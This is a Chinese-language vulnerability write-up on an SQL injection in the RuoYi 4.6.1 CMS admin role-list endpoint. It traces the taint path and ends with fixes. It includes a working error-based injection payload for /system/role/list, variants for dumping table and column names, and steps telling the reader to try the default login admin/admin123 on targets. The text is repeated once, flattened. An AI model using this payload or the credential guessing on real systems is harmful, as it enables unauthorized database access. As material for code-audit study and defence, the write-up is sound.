某大型CMS后台注入从分析到利用
字数 1181 2025-08-09 17:09:35

某大型CMS后台SQL注入漏洞分析与利用教学文档

漏洞概述

本文档详细分析某大型CMS(基于若依4.6.1版本)后台存在的SQL注入漏洞,从环境搭建到漏洞利用全过程,重点解析漏洞原理和利用方法。

环境搭建

  1. 获取源码:从Github下载若依4.6.1版本
  2. 数据库配置
    • 导入数据库文件
    • 修改druid连接池配置文件中的username和password
  3. 服务配置
    • 修改application.yml文件中的服务端口(默认80端口若被占用需修改)
  4. 运行项目:配置完成后可直接运行

漏洞分析

污点传播路径

  1. 入口点SysRoleController.java第56行,role参数为初始污点源
  2. 传播路径
    • roleSysRole.java第37行 → dataScope属性
    • SysRoleMapper.java第19行 → selectRoleList方法
    • SysRoleMapper.xml第36行 → SQL语句拼接触发注入

关键代码分析

  1. 控制器层/system/role/list接口接收POST请求,参数role传入startPage()方法
  2. 分页处理TableSupport.buildPageRequest()通过ServletUtils从POST数据获取参数
  3. SQL拼接SysRoleMapper.xml中直接使用${params.dataScope}进行SQL拼接,未做过滤处理

漏洞利用

POC构造

完整POC分为两部分:

  1. 分页参数部分(可为空):

    pageSize=&pageNum=&orderByColumn=&isAsc=
    
  2. 注入参数部分

    roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=[注入语句]
    

示例利用

获取数据库名:

POST /system/role/list

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

其他利用

  • 获取表名:修改注入语句为select table_name from information_schema.tables
  • 获取列名:修改注入语句为select column_name from information_schema.columns

实际测试步骤

  1. 访问目标:确认目标使用若依CMS
  2. 登录后台:尝试弱口令如admin/admin123
  3. 抓包修改:拦截/system/role/list请求,按上述POC格式修改POST数据
  4. 获取信息:通过报错回显获取数据库信息

防御建议

  1. 使用预编译语句(PreparedStatement)替代直接SQL拼接
  2. 对用户输入进行严格过滤和转义
  3. 使用MyBatis时避免使用${}而应使用#{}
  4. 最小权限原则,限制数据库用户权限

总结

该漏洞源于未对用户输入的dataScope参数进行过滤,直接拼接至SQL语句中。通过分析污点传播路径,可以构造特定的POST请求实现SQL注入攻击。理解该漏洞有助于提高代码审计能力和安全开发意识。

注:本文仅用于安全研究学习,请勿用于非法用途。

某大型CMS后台SQL注入漏洞分析与利用教学文档 漏洞概述 本文档详细分析某大型CMS(基于若依4.6.1版本)后台存在的SQL注入漏洞,从环境搭建到漏洞利用全过程,重点解析漏洞原理和利用方法。 环境搭建 获取源码 :从Github下载若依4.6.1版本 数据库配置 : 导入数据库文件 修改druid连接池配置文件中的username和password 服务配置 : 修改application.yml文件中的服务端口(默认80端口若被占用需修改) 运行项目 :配置完成后可直接运行 漏洞分析 污点传播路径 入口点 : SysRoleController.java 第56行, role 参数为初始污点源 传播路径 : role → SysRole.java 第37行 → dataScope 属性 → SysRoleMapper.java 第19行 → selectRoleList 方法 → SysRoleMapper.xml 第36行 → SQL语句拼接触发注入 关键代码分析 控制器层 : /system/role/list 接口接收POST请求,参数 role 传入 startPage() 方法 分页处理 : TableSupport.buildPageRequest() 通过ServletUtils从POST数据获取参数 SQL拼接 : SysRoleMapper.xml 中直接使用 ${params.dataScope} 进行SQL拼接,未做过滤处理 漏洞利用 POC构造 完整POC分为两部分: 分页参数部分 (可为空): 注入参数部分 : 示例利用 获取数据库名: 其他利用 获取表名:修改注入语句为 select table_name from information_schema.tables 获取列名:修改注入语句为 select column_name from information_schema.columns 实际测试步骤 访问目标 :确认目标使用若依CMS 登录后台 :尝试弱口令如admin/admin123 抓包修改 :拦截 /system/role/list 请求,按上述POC格式修改POST数据 获取信息 :通过报错回显获取数据库信息 防御建议 使用预编译语句(PreparedStatement)替代直接SQL拼接 对用户输入进行严格过滤和转义 使用MyBatis时避免使用 ${} 而应使用 #{} 最小权限原则,限制数据库用户权限 总结 该漏洞源于未对用户输入的 dataScope 参数进行过滤,直接拼接至SQL语句中。通过分析污点传播路径,可以构造特定的POST请求实现SQL注入攻击。理解该漏洞有助于提高代码审计能力和安全开发意识。 注:本文仅用于安全研究学习,请勿用于非法用途。